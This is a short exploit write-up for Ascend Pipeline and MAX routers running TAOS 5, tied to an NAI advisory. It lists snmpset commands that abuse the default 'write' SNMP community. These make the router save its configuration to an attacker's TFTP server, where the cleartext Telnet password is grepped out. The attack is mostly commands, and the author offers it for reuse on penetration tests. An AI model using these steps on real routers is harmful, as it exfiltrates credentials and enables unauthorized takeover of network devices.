suid@suid.kg - exploit for ascend router bugs as per nai advisory:
	http://www.nai.com/nai_labs/asp_set/advisory/26_ascendrouter_adv.asp

Summary:

	Ascend routers running version 5 of The Ascend OS (TAOS) by default have SNMP write enabled and the default community
	name of "write". 

	For a long time Ascend Pipeline and MAX series routers/access servers have been vulnerable to this attack. Although it
	is widely known about and fixed, many boxes are still vulnerable to it. 

	ADM seem to have an exploit for this allready, although I do not know if they have published it. See ADMsnmp scanner
	for SNMP scanning help.

	I am writing this up because I had the need to use it one day on a client penetration test. I may need to refer to it
	again some day. As may you.

Exploit Information:

	For this exploit to work, the routers write community must be enabled and set to "write"

	You will need to use something like ucd SNMP tools set the following object ID's:
	
	sysConfigTftpHostAddr (1.3.6.1.4.1.529.5.3.0) Type = IP Address
	sysConfigTftpFilename (1.3.6.1.4.1.529.5.4.0) Type = String

	Now setup a TFTP server somewhere. Make sure the router you are targetting can write a file there if it wants to.

	Set the sysConfigTftpHostAddr OID to the IP address of your TFTP server:

	$ snmpset <router> write .1.3.6.1.4.1.529.5.3.0 a "<ip of your TFTP server>"
	
	Set the sysConfigTftpFilename OID to a filename writable on your TFTP server.

	$ snmpset <router> write .1.3.6.1.4.1.529.5.4.0 s "<filename>"
	
	Next set the sysConfigTftpCmd OID on the router to 1 (Save)

	$ snmpset <router> write .1.3.6.1.4.1.529.5.1.1.0 i 1

	The router will begin to save its configuration file to your TFTP server. Grep for "Telnet PW".

	You now have the Telnet password to the router in cleartext.
